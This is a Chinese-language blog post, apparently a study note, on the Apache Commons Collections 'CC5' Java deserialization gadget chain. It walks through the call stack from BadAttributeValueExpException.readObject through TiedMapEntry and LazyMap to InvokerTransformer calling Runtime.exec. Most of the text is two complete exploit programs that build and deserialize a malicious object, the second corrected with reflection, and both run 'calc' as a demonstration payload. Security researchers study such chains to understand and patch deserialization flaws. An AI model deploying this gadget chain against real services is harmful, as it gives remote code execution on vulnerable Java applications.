java_cc链5
这里我们又回到了去触发 LazyMap.get(),只不过我们改变了 LazyMap.get() 的触发方式,不再和 CC1 和 CC3 一样借助 AnnotationInvocationHandler 的反序列化触发。
环境
- apache commons collection-3.2.1
- jdk1.8
调用栈
1 2 3 4 5 6 7 8
| ->BadAttributeValueExpException.readObject() ->TiedMapEntry.toString() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
|
调用栈分析
首先我们看到BadAttributeValueExpException类(该类继承了Exception,又继承了Throwable,而Throwable实现了serializable接口)的readObject方法
将val值赋给valObj变量,先判断是否为空,再判断是否为字符串,如果不是则调用toString()方法
那我们可以把val赋值为TiedMapEntry
而这个if条件是怎么过的呢,不用担心,关注这段代码:System.getSecurityManager() == null
可以看到,这个值默认为null
继续
调用getValue
map是我们可控的,将其设置为LazyMap即可
尝试编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package main.java.cc5;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map useless = new HashMap<>(); useless.put("value","ycxlo"); Map lazymap = LazyMap.decorate(useless,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
虽说弹出了计算器,但是调试的时候总感觉不对,比如无论在BadAttributeValueExpException的构造方法下断点,或者在readObject方法出下,都会直接弹出计算器,并且都没有走到ChainedTransform类
后面看了一下其他师傅的exp,感觉应该是我在实例化时就调用了toString方法,而没有等到readObject方法
利用反射修改exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package main.java.cc5;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map useless = new HashMap<>(); useless.put("value","ycxlo"); Map lazymap = LazyMap.decorate(useless,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|